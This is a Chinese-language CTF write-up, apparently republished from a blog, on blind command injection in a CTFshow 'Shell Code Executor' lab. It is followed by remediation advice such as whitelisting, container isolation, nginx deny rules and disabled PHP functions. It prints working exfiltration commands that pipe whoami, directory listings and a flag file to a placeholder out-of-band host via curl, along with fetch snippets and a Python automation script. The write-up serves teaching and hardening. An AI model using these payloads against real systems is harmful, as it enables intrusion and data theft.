BurpSuite+AI渗透测试(六):反弹shell构造"

admin 2026-10-24 02:01:19 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

BurpSuite+AI渗透测试(六):反弹shell构造

原创

yushao
yushao

Web安全工具库

2026年6月10日 09:27
河南

在小说阅读器读本章

去阅读

本报告基于授权 CTF 靶场测试记录整理,仅用于复盘、学习与安全加固参考。
报告中已对目标地址、带外平台域名、Flag、关键敏感字符串等进行脱敏处理。
下文中的测试代码均使用占位符,请勿用于未授权环境。


1. 报告基本信息

项目 内容
测试目标 CTFshow Shell Code Executor
目标地址 https://56660608-****-****-****-************.challenge.ctf.show/
测试类型 Web 安全测试 / CTF 靶场
主要问题 后端存在系统命令执行能力,且无输出回显
测试方式 页面交互、HTTP 请求复现、OOB 带外回连验证
测试工具 Chrome DevTools、Burp Suite、Burp Collaborator、curl
测试账号 无需登录
发现账号权限 ww****ta
最终结果 成功定位并读取靶场 Flag 文件
Flag 脱敏 CTF{rev*****_**}

2. 测试范围

2.1 测试目标

https://56660608-****-****-****-************.challenge.ctf.show/

2.2 目标页面信息

访问目标后,页面标题为:

Shell Code Executor

页面中存在一个多行文本框和一个执行按钮:

Enter Shell Code:
[textarea]

[Execute Code]

初步判断该页面允许用户提交命令或代码到后端执行。


3. 测试结论摘要

经测试,目标页面的 code 参数会被服务端直接执行。提交基础命令后,页面仅返回:

execute success!

但不返回命令执行结果,因此属于盲命令执行场景。

随后通过 OOB 带外回连方式验证:

    1. 服务端可以执行系统命令;
    1. 服务端可访问外网;
    1. 目标环境中存在 curl/7.52.1;
    1. 当前执行用户为 w***ta;
    1. 可通过 HTTP POST 方式将命令执行结果外带;
    1. 最终定位到敏感文件:
/var/www/html/flag.php

并成功读取其中内容。


4. 风险等级

风险项 等级
系统命令执行 严重
敏感文件读取 严重
出站网络访问未限制 高
权限隔离不足 中
无执行结果回显但可 OOB 外带 高

综合风险等级:严重


5. 漏洞描述

目标页面通过 POST 请求提交参数:

POST / HTTP/1.1
Host: 56660608-****-****-****-************.challenge.ctf.show
Content-Type: application/x-www-form-urlencoded

code=id

服务端接收到 code 参数后,会执行其中的系统命令。

页面响应中不直接回显命令结果,仅显示:

execute success!

因此常规页面无法直接看到命令输出。

但通过构造带外 HTTP 请求,例如让服务端执行:

curl http://<OOB_DOMAIN>/test

可在带外平台收到来自目标服务器的 HTTP 请求,从而确认命令执行成功。


6. 测试过程详情


6.1 页面访问与功能识别

访问目标地址后,页面结构如下:

CTFshow Shell Code Executor

Enter Shell Code:
[textarea]

Execute Code

提交测试命令:

id

页面返回:

Execution Result:
execute success!

说明后端执行了命令,但命令输出未展示在页面上。


6.2 抓包分析

通过 Burp Suite 抓包,发现请求格式如下:

POST / HTTP/1.1
Host: 56660608-****-****-****-************.challenge.ctf.show
Content-Type: application/x-www-form-urlencoded

code=id

响应状态码为:

200 OK

响应中包含:

execute success!

说明 code 参数是核心测试入口。


6.3 基础命令执行验证

测试请求

POST / HTTP/1.1
Host: 56660608-****-****-****-************.challenge.ctf.show
Content-Type: application/x-www-form-urlencoded

code=id

返回结果

execute success!

虽然没有看到 id 的输出,但结合页面逻辑和后续带外回连结果,确认该参数存在命令执行行为。


6.4 OOB 带外连通性验证

由于命令结果不回显,需要使用带外平台验证命令执行结果。

生成一个 OOB 域名,报告中脱敏为:

<OOB_DOMAIN>

实际测试命令:

curl http://<OOB_DOMAIN>/test1

HTTP 请求复现

POST / HTTP/1.1
Host: 56660608-****-****-****-************.challenge.ctf.show
Content-Type: application/x-www-form-urlencoded

code=curl http://<OOB_DOMAIN>/test1

OOB 平台收到请求

GET /test1 HTTP/1.1
Host: <OOB_DOMAIN>
User-Agent: curl/7.52.1
Accept: /

结论

目标服务器具备:

1. curl 工具可用
2. 出站 HTTP 访问能力
3. code 参数确实可触发系统命令执行

6.5 当前执行用户确认

由于页面不回显命令结果,因此使用路径方式外带 whoami 输出。

测试命令

curl http://<OOB_DOMAIN>/$(whoami)

HTTP 请求

POST / HTTP/1.1
Host: 56660608-****-****-****-************.challenge.ctf.show
Content-Type: application/x-www-form-urlencoded

code=curl http://<OOB_DOMAIN>/$(whoami)

OOB 平台收到结果

GET /w**a HTTP/1.1
Host: <OOB_DOMAIN>
User-Agent: curl/7.52.1
Accept: /

结论

当前服务端命令执行用户为:

w*****a

6.6 目录枚举

最初尝试通过 URL 路径方式传输命令输出:

curl http://<OOB_DOMAIN>/$(ls /)

由于命令输出中存在换行、空格等字符,直接放入 URL 路径可能导致请求构造失败或被截断。

因此改用 HTTP POST 外带方式。


推荐外带方式一:管道传输

ls / | curl -X POST --data-binary @- http://<OOB_DOMAIN>/

HTTP 请求示例

POST / HTTP/1.1
Host: 56660608-****-****-****-************.challenge.ctf.show
Content-Type: application/x-www-form-urlencoded

code=ls / | curl -X POST --data-binary @- http://<OOB_DOMAIN>/

OOB 平台收到内容

bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

6.7 查找 Flag 文件

在 CTF 环境中,常见敏感目标文件包含 flag 关键词,因此使用 find 进行全目录搜索。

测试命令

find / -name '*flag*' 2>/dev/null | curl -X POST --data-binary @- http://<OOB_DOMAIN>/

HTTP 请求示例

POST / HTTP/1.1
Host: 56660608-****-****-****-************.challenge.ctf.show
Content-Type: application/x-www-form-urlencoded

code=find / -name '*flag*' 2>/dev/null | curl -X POST --data-binary @- http://<OOB_DOMAIN>/

OOB 平台返回结果节选

/usr/lib/x86_64-linux-gnu/perl/5.24.1/bits/waitflags.ph
/usr/local/lib/php/build/ax_check_compile_flag.m4
/usr/bin/dpkg-buildflags
/usr/include/x86_64-linux-gnu/bits/waitflags.h
/usr/include/linux/kernel-page-flags.h
...
/var/www/html/flag.php
...

关键发现

/var/www/html/flag.php

6.8 读取目标文件

确认 Flag 文件路径后,使用 cat 读取文件,并通过 POST 方式外带。

测试命令

cat /var/www/html/flag.php | curl -X POST --data-binary @- http://<OOB_DOMAIN>/

HTTP 请求示例

POST / HTTP/1.1
Host: 56660608-****-****-****-************.challenge.ctf.show
Content-Type: application/x-www-form-urlencoded

code=cat /var/www/html/flag.php | curl -X POST --data-binary @- http://<OOB_DOMAIN>/

OOB 平台收到内容

<?php

$flag = \"CTF{reverse_****_use_**}\";

7.1 页面表单提交格式

POST / HTTP/1.1
Host: <TARGET_HOST>
Content-Type: application/x-www-form-urlencoded

code=<COMMAND>

7.2 使用 curl 复现基础命令执行

curl -k -X POST \"https://<TARGET_HOST>/\" \\
  -H \"Content-Type: application/x-www-form-urlencoded\" \\
  --data-urlencode \"code=id\"

7.3 OOB 连通性验证

curl -k -X POST \"https://<TARGET_HOST>/\" \\
  -H \"Content-Type: application/x-www-form-urlencoded\" \\
  --data-urlencode \"code=curl http://<OOB_DOMAIN>/test1\"

7.4 外带当前用户

curl -k -X POST \"https://<TARGET_HOST>/\" \\
  -H \"Content-Type: application/x-www-form-urlencoded\" \\
  --data-urlencode \"code=curl http://<OOB_DOMAIN>/\\$(whoami)\"

OOB 预期请求:

GET /www-data HTTP/1.1
Host: <OOB_DOMAIN>

7.5 通过 POST 外带目录列表

curl -k -X POST \"https://<TARGET_HOST>/\" \\
  -H \"Content-Type: application/x-www-form-urlencoded\" \\
  --data-urlencode \"code=ls / | curl -X POST --data-binary @- http://<OOB_DOMAIN>/\"

7.6 查找 Flag 文件

curl -k -X POST \"https://<TARGET_HOST>/\" \\
  -H \"Content-Type: application/x-www-form-urlencoded\" \\
  --data-urlencode \"code=find / -name '*flag*' 2>/dev/null | curl -X POST --data-binary @- http://<OOB_DOMAIN>/\"

7.7 读取 Flag 文件

curl -k -X POST \"https://<TARGET_HOST>/\" \\
  -H \"Content-Type: application/x-www-form-urlencoded\" \\
  --data-urlencode \"code=cat /var/www/html/flag.php | curl -X POST --data-binary @- http://<OOB_DOMAIN>/\"

7.8 使用 JavaScript Fetch 提交测试命令

在浏览器 DevTools Console 中可使用以下方式提交:

fetch(\"/\", {
method: \"POST\",
headers: {
    \"Content-Type\": \"application/x-www-form-urlencoded\"
  },
body: newURLSearchParams({
    code: \"curl http://<OOB_DOMAIN>/test1\"
  })
}).then(async r => {
return {
    status: r.status,
    text: await r.text()
  };
}).then(console.log);

7.9 使用 JavaScript Fetch 进行 OOB 外带

fetch(\"/\", {
  method: \"POST\",
  headers: {
    \"Content-Type\": \"application/x-www-form-urlencoded\"
  },
  body: new URLSearchParams({
    code: \"whoami | curl -X POST --data-binary @- http://<OOB_DOMAIN>/\"
  })
}).then(async r => {
  console.log(\"status:\", r.status);
});

7.10 Python 自动化测试脚本

仅适用于授权靶场。
其中 <TARGET_URL> 和 <OOB_DOMAIN> 需要替换为实际授权测试环境。

import requests
from urllib.parse import urljoin

TARGET_URL = \"https://<TARGET_HOST>/\"
OOB_DOMAIN = \"<OOB_DOMAIN>\"

session = requests.Session()
session.verify = False

defrun_command(command: str):
    \"\"\"
    向目标 code 参数提交命令。
    注意:目标页面不回显命令输出,需结合 OOB 平台查看结果。
    \"\"\"
    data = {
        \"code\": command
    }

    resp = session.post(
        TARGET_URL,
        data=data,
        headers={
            \"Content-Type\": \"application/x-www-form-urlencoded\"
        },
        timeout=10
    )

    print(\"[+] Status:\", resp.status_code)

    if\"execute success\"in resp.text:
        print(\"[+] Page returned execute success\")
    else:
        print(\"[!] No success marker found\")

    return resp.text

if __name__ == \"__main__\":
    tests = [
        f\"curl http://{OOB_DOMAIN}/ping\",
        f\"curl http://{OOB_DOMAIN}/$(whoami)\",
        f\"ls / | curl -X POST --data-binary @- http://{OOB_DOMAIN}/\",
        f\"find / -name '*flag*' 2>/dev/null | curl -X POST --data-binary @- http://{OOB_DOMAIN}/\",
        f\"cat /var/www/html/flag.php | curl -X POST --data-binary @- http://{OOB_DOMAIN}/\",
    ]

    for cmd in tests:
        print(\"[*] Sending command:\", cmd)
        run_command(cmd)

8. 测试证据整理

8.1 首页页面

Title: Shell Code Executor
Form field: code
Button: Execute Code

8.2 基础命令返回

提交:

id

页面返回:

execute success!

8.3 OOB 回连证据

提交:

curl http://<OOB_DOMAIN>/test1

OOB 收到:

GET /test1 HTTP/1.1
Host: <OOB_DOMAIN>
User-Agent: curl/7.52.1

8.4 用户确认

提交:

curl http://<OOB_DOMAIN>/$(whoami)

OOB 收到:

GET /www-data HTTP/1.1
Host: <OOB_DOMAIN>

8.5 文件定位

提交:

find / -name '*flag*' 2>/dev/null

发现:

/var/www/html/flag.php

8.6 文件读取

提交:

cat /var/www/html/flag.php

OOB 收到:

<?php

$flag = \"CTF{r*******}\";

9. 漏洞成因分析

根据测试结果判断,目标服务端可能存在如下实现逻辑:

<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $code = $_POST['code'];
    system($code);
    echo \"execute success!\";
}

或类似的危险调用方式:

exec($_POST['code']);
shell_exec($_POST['code']);
passthru($_POST['code']);
popen($_POST['code'], \"r\");
proc_open($_POST['code'], ...);

该类代码直接将用户输入传入系统命令执行函数,未进行白名单限制、参数校验、沙箱隔离或权限控制,因此导致任意命令执行风险。


10. 影响分析

该漏洞可能导致:

    1. 执行任意系统命令;
    1. 读取 Web 目录下敏感文件;
    1. 枚举系统目录结构;
    1. 获取运行用户权限;
    1. 通过 HTTP、DNS 等方式外带数据;
    1. 在未限制出站网络的情况下,进一步建立交互式远程控制通道;
    1. 造成服务器失陷、数据泄露或业务中断。

在本次靶场测试中,已验证可读取:

/var/www/html/flag.php

说明风险已达到敏感文件读取级别。


11. 修复建议

11.1 禁止直接执行用户输入

严禁将用户可控参数直接传入以下函数:

system()
exec()
shell_exec()
passthru()
popen()
proc_open()

如果业务确实需要执行命令,应使用严格白名单。


11.2 使用白名单机制

错误示例:

$cmd = $_POST['code'];
system($cmd);

安全示例:

$allowed = [
    \"date\" => \"/bin/date\",
    \"uptime\" => \"/usr/bin/uptime\"
];

$action = $_POST[\"action\"] ?? \"\";

if (!isset($allowed[$action])) {
    http_response_code(400);
    exit(\"Invalid action\");
}

$output = [];
$returnCode = 0;

exec($allowed[$action], $output, $returnCode);

echohtmlspecialchars(implode(\"\
\", $output), ENT_QUOTES, \"UTF-8\");

11.3 参数化处理

如果必须传参,应避免拼接命令。

例如:

$filename = $_POST[\"filename\"] ?? \"\";

if (!preg_match('/^[a-zA-Z0-9._-]+$/', $filename)) {
    http_response_code(400);
    exit(\"Invalid filename\");
}

$safeFile = escapeshellarg($filename);
$cmd = \"/usr/bin/file \" . $safeFile;

exec($cmd, $output);

注意:escapeshellarg() 只能降低风险,不能替代白名单和权限隔离。


11.4 限制 Web 服务权限

当前命令执行用户为:

w****a

建议:

    1. Web 服务使用低权限账号运行;
    1. 禁止 Web 用户读取敏感文件;
    1. 敏感配置文件不应放在 Web 根目录;
    1. Flag、密钥、数据库密码等不应存放在可被 Web 服务读取的位置。

11.5 限制出站网络

本次测试中,目标服务器可访问外部 OOB 域名,说明出站流量限制不足。

建议:

    1. 默认禁止服务器主动访问外网;
    1. 仅允许访问必要的业务目标;
    1. 对 DNS、HTTP、HTTPS 出站请求进行审计;
    1. 对异常 User-Agent,例如 curl、wget,进行告警;
    1. 对外连行为建立日志记录与安全监控。

11.6 容器与沙箱隔离

如果该功能是靶场或在线代码执行器,应进行强隔离:

    1. 使用独立容器运行;
    1. 禁止访问宿主机敏感路径;
    1. 挂载只读文件系统;
    1. 禁止访问 /proc、/sys 等敏感目录;
    1. 限制 CPU、内存、进程数;
    1. 禁止出站网络或仅开放必要流量;
    1. 使用 seccomp、AppArmor、SELinux 等安全机制。

12. 安全加固示例

12.1 Docker 隔离示例

version: \"3.8\"

services:
code-runner:
    image:php:8.2-apache
    read_only:true
    cap_drop:
      -ALL
    security_opt:
      -no-new-privileges:true
    pids_limit:64
    mem_limit:256m
    cpus:0.5
    network_mode:none
    volumes:
      - ./html:/var/www/html:ro

12.2 Nginx 限制敏感文件访问

location ~* /(flag|secret|config|env) {
    deny all;
    return 403;
}

location ~ /\\. {
    deny all;
    return 403;
}

12.3 PHP 禁用危险函数

在 php.ini 中配置:

disable_functions = system,exec,shell_exec,passthru,popen,proc_open,pcntl_exec

注意:这不是唯一防护措施,应结合权限控制、沙箱和业务白名单共同使用。

该结果表明,服务端将用户输入直接作为系统命令执行,且未进行有效隔离和出站限制,风险等级为严重。建议立即移除危险命令执行逻辑,使用白名单机制替代,并加强权限隔离、网络出口控制和敏感文件保护。


BurpSuite+AI渗透测试(六):反弹shell构造" 网络安全文章

BurpSuite+AI渗透测试(六):反弹shell构造"

本文记录了在CTFshow靶场中利用ShellCodeExecutor页面的code参数进行命令注入测试的过程。通过BurpSuite和OOB带外通信技术,确认存在盲命令执行漏洞,成功外带系统信息并读取flag.php文件。报告详细展示了从基础验证到文件定位的完整渗透测试流程,提供了具体的curl命令示例和风险等级评估。
AWS的老身份和新角色:做AgenticAI时代的基础设施" 网络安全文章

AWS的老身份和新角色:做AgenticAI时代的基础设施"

本文探讨了AWS在AgenticAI时代的基础设施角色,指出模型商品化趋势下竞争焦点已从模型强度转向数据治理、规模化管理与全球合规部署。AWS凭借数据引力优势、AgentCore规模化平台及全球合规基础设施,帮助企业将AI代理投入生产并创造价值,同时为中国模型厂商出海提供全球化支持。
评论:0   参与:  0